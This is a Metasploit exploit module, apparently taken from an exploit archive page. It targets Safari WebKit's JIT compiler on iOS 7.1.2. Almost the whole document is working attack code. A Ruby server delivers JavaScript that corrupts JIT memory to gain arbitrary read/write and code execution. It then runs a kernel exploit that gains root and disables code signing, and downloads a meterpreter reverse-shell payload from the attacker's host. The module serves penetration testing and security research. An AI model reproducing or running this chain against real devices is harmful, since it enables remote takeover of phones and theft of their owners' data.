Share
## https://sploitus.com/exploit?id=PACKETSTORM:158874
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',  
'Description' => %q{  
This module exploits a JIT optimization bug in Safari Webkit. This allows us to  
write shellcode to an RWX memory section in JavaScriptCore and execute it. The  
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,  
obtains root and disables code signing. Finally we download and execute the  
meterpreter payload.  
This module has been tested against iOS 7.1.2 on an iPhone 4.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'kudima', # ishell  
'Ian Beer', # CVE-2016-4669  
'WanderingGlitch', # CVE-2018-4162  
'timwr', # metasploit integration  
],  
'References' => [  
['CVE', '2016-4669'],  
['CVE', '2018-4162'],  
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],  
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],  
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],  
],  
'Arch' => ARCH_ARMLE,  
'Platform' => 'apple_ios',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },  
'Targets' => [[ 'Automatic', {} ]],  
'DisclosureDate' => 'Aug 25 2016'  
)  
)  
register_options(  
[  
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),  
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])  
]  
)  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),  
])  
end  
  
def exploit_js  
<<~JS  
//  
// Initial notes.  
//  
// If we look at publicly available exploits for this kind of  
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore  
// differently interprets the content of arrays based on  
// their type, besides object pointers and 64-bit doubles may have  
// the same representation.  
//  
// This is not the case for 32-bit version of JavaScriptCore.  
// The details are in runtime/JSCJSValue.h. All JSValues are still  
// 64-bit, but for the cells representing objects  
// the high 32-bit are always 0xfffffffb (since we only need 32-bit  
// to represent a pointer), meaning cell is always a NaN in IEEE754  
// representation used for doubles and it is not possible to confuse  
// an cell and a IEEE754 encoded double value.  
//  
// Another difference is how the cells are represented  
// in the version of JavaScriptCore by iOS 7.1.2.  
// The type of the cell object is determined by m_structure member  
// at offset 0 which is a pointer to Structure object.  
// On 64-bit systems, at the time [2], [3]  
// were published, a 32-bit integer value was used as a structure id.  
// And it was possible to deterministically predict that id for  
// specific object layout.  
//  
// The exploit outline.  
//  
// Let's give a high level description of the steps taken by the  
// exploit to get to arbitrary code execution.  
//  
// 1. We use side effect bug to overwrite butterfly header by confusing  
// Double array with ArrayStorage and obtain out of bound (oob) read/write  
// into array butterflies allocation area.  
//  
// 2. Use oob read/write to build addrOf/materialize object primitives,  
// by overlapping ArrayStorage length with object pointer part of a cell  
// stored in Contiguous array.  
//  
// 3. Craft a fake Number object in order to leak real object structure  
// pointer via a runtime function.  
//  
// 4. Use leaked structure pointer to build a fake fake object allowing  
// as read/write access to a Uint32Array object to obtain arbitrary read/write.  
//  
// 5. We overwrite rwx memory used for jit code and redirect execution  
// to that memory using our arbitrary read/write.  
  
function main(loader, macho) {  
  
// auxillary arrays to facilitate  
// 64-bit floats to pointers conversion  
var ab = new ArrayBuffer(8)  
var u32 = new Uint32Array(ab);  
var f64 = new Float64Array(ab);  
  
function toF64(hi, lo) {  
u32[0] = hi;  
u32[1] = lo;  
return f64[0];  
}  
  
function toHILO(f) {  
f64[0] = f;  
return [u32[0], u32[1]]  
}  
  
function printF64(f) {  
var u32 = toHILO(f);  
return (u32[0].toString(16) + " " + u32[1].toString(16));  
}  
  
// arr is an object with a butterfly  
//  
// cmp is an object we compare with  
//  
// v is a value assigned to an indexed property,  
// gives as ability to change the butterfly  
function oob_write(arr, cmp, v, i) {  
arr[0] = 1.1;  
// place a comparison with an object,  
// incorrectly modeled as side effects free  
cmp == 1;  
// if i less then the butterfly length,  
// it simply writes the value, otherwise  
// bails to baseline jit, which is going to  
// handle the write via a slow path.  
arr[i] = v;  
return arr[0];  
}  
  
function make_oob_array() {  
  
var oob_array;  
  
// allocate an object  
var arr = {};  
arr.p = 1.1;  
// allocate butterfly of size 0x38,  
// 8 bytes header and 6 elements. To get the size  
// we create an array and inspect its memory  
// in jsc command line interpreter.  
arr[0] = 1.1;  
  
// toString is triggered during comparison,  
var x = {toString: function () {  
// convert the butterfly into an  
// array storage with two values,  
// initial 1.1 64-bit at 0 is going to be placed  
// to m_vector and value at 1000 is placed into  
// the m_sparceMap  
arr[1000] = 2.2;  
// allocate a new butterfly right after  
// our ArrayStorage. The butterflies are  
// allocated continuously regardless  
// of the size. For the array we  
// get 0x28 bytes, header and 4 elements.  
oob_array = [1.1];  
return '1';  
}  
};  
  
// ArrayStorage buttefly--+  
// |  
// V  
//-8 -4 0 4  
// | pub length | length | m_sparceMap | m_indexBias |  
//  
// 8 0xc 0x10  
// | m_numValuesInVector | m_padding | m_vector[0]  
//  
//0x18 0x20 0x28  
// | m_vector[1] | m_vector[2] | m_vector[3] |  
//  
// oob_array butterfly  
// |  
// V  
//0x30 0x34 0x38 0x40 0x48 0x50  
// | pub length | length | el0 | el1 | el2 |  
//  
  
// We enter the function with arr butterfly  
// backed up by a regular butterfly, during the side effect  
// in toString method we turn it into an ArrayStorage,  
// and allocate a butterfly right after it. So we  
// hopefully get memory layout as on the diagram above.  
//  
// The compiled code for oob_write, being not aware of the  
// shape change, is going to compare 6 to the ArrayStorage  
// length (which we set to 1000 in toString) and proceed  
// to to write at index 6 relative to ArrayStorage butterfly,  
// overwriting the oob_array butterfly header with 64-bit float  
// encoded as 0x0000100000001000. Which gives as ability to write  
// out of bounds of oob_array up to 0x1000 bytes, hence  
// the name oob_array.  
  
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);  
  
return oob_array;  
}  
  
// returns address of an object  
function addrOf(o) {  
// overwrite ArrayStorage public length  
// with the object pointer  
oob_array[4] = o;  
// retrieve the address as ArrayStorage  
// butterfly public length  
var r = oobStorage.length;  
return r;  
}  
  
function materialize(addr) {  
// replace ArrayStorage public length  
oobStorage.length = addr;  
// retrieve the placed address  
// as an object  
return oob_array[4];  
}  
  
function read32(addr) {  
var lohi = toHILO(rw0Master.rw0_f2);  
// replace m_buffer with our address  
rw0Master.rw0_f2 = toF64(lohi[0], addr);  
var ret = u32rw[0];  
// restore  
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);  
return ret;  
}  
  
function write32(addr, v) {  
var lohi = toHILO(rw0Master.rw0_f2);  
rw0Master.rw0_f2 = toF64(lohi[0], addr);  
// for some reason if we don't do this  
// and the value is negative as a signed int ( > 0x80000000)  
// it takes base from a different place  
u32rw[0] = v & 0xffffffff;  
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);  
}  
  
function testRW32() {  
var o = [1.1];  
  
print("--------------- testrw32 -------------");  
print("len: " + o.length);  
  
var bfly = read32(addrOf(o)+4);  
print("bfly: " + bfly.toString(16));  
  
var len = read32(bfly-8);  
print("bfly len: " + len.toString(16));  
write32(bfly - 8, 0x10);  
var ret = o.length == 0x10;  
print("len: " + o.length);  
write32(bfly - 8, 1);  
print("--------------- testrw32 -------------");  
return ret;  
}  
  
// dump @len dword  
function dumpAddr(addr, len) {  
var output = 'addr: ' + addr.toString(16) + "\\n";  
for (var i=0; i<len; i++) {  
output += read32(addr + i*4).toString(16) + " ";  
if ((i+1) % 2 == 0) {  
output += "\\n";  
}  
}  
return output;  
}  
  
// prepare the function we are going to  
// use to run our macho loader  
exec_code = "var o = {};";  
for (var i=0; i<200; i++) {  
exec_code += "o.p = 1.1;";  
}  
exec_code += "if (v) alert('exec');";  
  
var exec = new Function('v', exec_code);  
  
// force JavaScriptCore to generate jit code  
// for the function  
for (var i=0; i<1000; i++)  
exec();  
  
// create an object with a Double array butterfly  
var arr = {};  
arr.p = 1.1;  
arr[0] = 1.1;  
  
// force DFG optimization for oob_write function,  
// with a write beyond the allocated storage  
for (var i=0; i<10000; i++) {  
oob_write(arr, {}, 1.1, 1);  
}  
  
// prepare a double array which we are going to turn  
// into an ArrayStorage later on.  
var oobStorage = [];  
oobStorage[0] = 1.1;  
  
// create an array with oob read/write  
// relative to its butterfly  
var oob_array = make_oob_array();  
// Allocate an ArrayStorage after oob_array butterfly.  
oobStorage[1000] = 2.2;  
  
// convert into Contiguous storage, so we can materialize  
// objects  
oob_array[4] = {};  
  
// allocate two objects with seven inline properties one after another,  
// for fake object crafting  
var oo = [];  
for (var i=0; i<0x10; i++) {  
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};  
oo.push(o);  
}  
  
// for some reason if we just do  
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};  
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};  
// the objects just get some random addressed far apart, and we need  
// them allocated one after another.  
  
var fakeObjStore = oo.pop();  
// we are going to leak Structure pointer for this object  
var structLeaker = oo.pop();  
  
// eventually we want to use it for read/write into typed array,  
// and typed array is 0x18 bytes from our experiments.  
// To cover all 0x18 bytes, we add four out of line properties  
// to the structure we want to leak.  
structLeaker.rw0_f1 = 1.1;  
structLeaker.rw0_f2 = 1.1;  
structLeaker.rw0_f3 = 1.1;  
structLeaker.rw0_f4 = 1.1;  
  
print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));  
print("structLeaker: " + addrOf(structLeaker).toString(16));  
  
var fakeObjStoreAddr = addrOf(fakeObjStore)  
// m_typeInfo offset within a Structure class is 0x34  
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}  
// for Number  
  
// we want to achieve the following layout for fakeObjStore  
//  
// 0 8 0x10 0x18 0x20 0x28 0x30  
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |  
//  
// 0x30 0x34 0x38 0x40  
// | fakeObjStoreAddr | 0x00008015 | 1.1 |  
//  
// we materialize fakeObjStoreAddr + 0x30 as an object,  
// As we can see the Structure pointer points back to fakeObjStore,  
// which is acting as a structure for our object. In that fake  
// structure object we craft m_typeInfo as if it was a Number object.  
// At offset +0x34 the Structure objects have m_typeInfo member indicating  
// the object type.  
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}  
// So we place that value at offset 0x34 relative to the fakeObjStore start.  
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);  
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);  
  
// We call a runtime function valueOf on Number, which only verifies  
// that m_typeInfo field describes a Number object. Then it reads  
// and returns 64-bit float value at object address + 0x10.  
//  
// In our seven properties object, it's  
// going to be a 64-bit word located right after last property. Since  
// we have arranged another seven properties object to be placed right  
// after fakeObjStore, we are going to get first 8 bytes of  
// that cell object which has the following layout.  
// 0 4 8  
// | m_structure | m_butterfly |  
var val = Number.prototype.valueOf.call(fakeNumber);  
  
// get lower 32-bit of a 64-bit float, which is a structure pointer.  
var _7pStructAddr = toHILO(val)[1];  
print("struct addr: " + _7pStructAddr.toString(16));  
  
// now we are going to use the structure to craft an object  
// with properties allowing as read/write access to Uint32Array.  
  
var aabb = new ArrayBuffer(0x20);  
  
// Uint32Array is 0x18 bytes,  
// + 0xc m_impl  
// + 0x10 m_storageLength  
// + 0x14 m_storage  
var u32rw = new Uint32Array(aabb, 4);  
  
// Create a fake object with the structure we leaked before.  
// So we can r/w to Uint32Array via out of line properties.  
// The ool properties are placed before the butterfly header,  
// so we point our fake object butterfly to Uint32Array + 0x28,  
// to cover first 0x20 bytes via four out of line properties we added earlier  
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};  
  
// materialize whatever we put in the first inline property as an object  
var rw0Master = materialize(addrOf(objRW0Store) + 8);  
  
// magic  
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};  
for (var i=0; i<8; i++) {  
read32(addrOf(o));  
write32(addrOf(o)+8, 0);  
}  
  
//testRW32();  
// JSFunction->m_executable  
var m_executable = read32(addrOf(exec)+0xc);  
  
// m_executable->m_jitCodeForCall  
var jitCodeForCall = read32(m_executable + 0x14) - 1;  
print("jit code pointer: " + jitCodeForCall.toString(16));  
  
// Get JSCell::destroy pointer, and pass it  
// to the code we are going to execute as an argument  
var n = new Number(1.1);  
var struct = read32(addrOf(n));  
// read methodTable  
var classInfo = read32(struct + 0x20);  
// read JSCell::destroy  
var JSCell_destroy = read32(classInfo + 0x10);  
  
print("JSCell_destroy: " + JSCell_destroy.toString(16));  
  
// overwrite jit code of exec function  
for (var i=0; i<loader.length; i++) {  
var x = loader[i];  
write32(jitCodeForCall+i*4, x);  
}  
  
// pass JSCell::destroy pointer and  
// the macho file as arguments to our  
// macho file loader, so it can get dylib cache slide  
var nextBuf = read32(addrOf(macho) + 0x14);  
// we pass parameters to the loader as a list of 32-bit words  
// places right before the start  
write32(jitCodeForCall-4, JSCell_destroy);  
write32(jitCodeForCall-8, nextBuf);  
print("nextBuf: " + nextBuf.toString(16));  
// start our macho loader  
print("executing macho...");  
exec(true);  
print("exec returned");  
return;  
}  
  
try {  
function asciiToUint8Array(str) {  
  
var len = Math.floor((str.length + 4)/4) * 4;  
var bytes = new Uint8Array(len);  
  
for (var i=0; i<str.length; i++) {  
var code = str.charCodeAt(i);  
bytes[i] = code & 0xff;  
}  
  
return bytes;  
}  
  
// loads base64 encoded payload from the server and converts  
// it into a Uint32Array  
function loadAsUint32Array(path) {  
var xhttp = new XMLHttpRequest();  
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);  
xhttp.send();  
var payload = atob(xhttp.response);  
payload = asciiToUint8Array(payload);  
return new Uint32Array(payload.buffer);  
}  
  
var loader = loadAsUint32Array("loader.b64");  
var macho = loadAsUint32Array("macho.b64");  
setTimeout(function() {main(loader, macho);}, 50);  
} catch (e) {  
print(e + "\\n" + e.stack);  
}  
JS  
end  
  
def on_request_uri(cli, request)  
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}  
print_status("[*] #{request.body}")  
send_response(cli, '')  
return  
end  
  
print_status("Request #{request.uri} from #{request['User-Agent']}")  
if request.uri.starts_with? '/loader.b64'  
loader_data = exploit_data('CVE-2016-4669', 'loader')  
loader_data = Rex::Text.encode_base64(loader_data)  
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })  
return  
elsif request.uri.starts_with? '/macho.b64'  
loader_data = exploit_data('CVE-2016-4669', 'macho')  
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"  
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')  
loader_data[payload_url_index, payload_url.length] = payload_url  
loader_data = Rex::Text.encode_base64(loader_data)  
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })  
return  
elsif request.uri.starts_with? '/payload'  
print_good('Target is vulnerable, sending payload!')  
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
jscript = exploit_js  
if datastore['DEBUG_EXPLOIT']  
debugjs = %Q^  
print = function(arg) {  
var request = new XMLHttpRequest();  
request.open("POST", "/print", false);  
request.send("" + arg);  
};  
^  
jscript = "#{debugjs}#{jscript}"  
else  
jscript.gsub!(/\/\/.*$/, '') # strip comments  
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
  
html = <<~HTML  
<html>  
<body>  
<script>  
#{jscript}  
</script>  
</body>  
</html>  
HTML  
  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })  
end  
  
end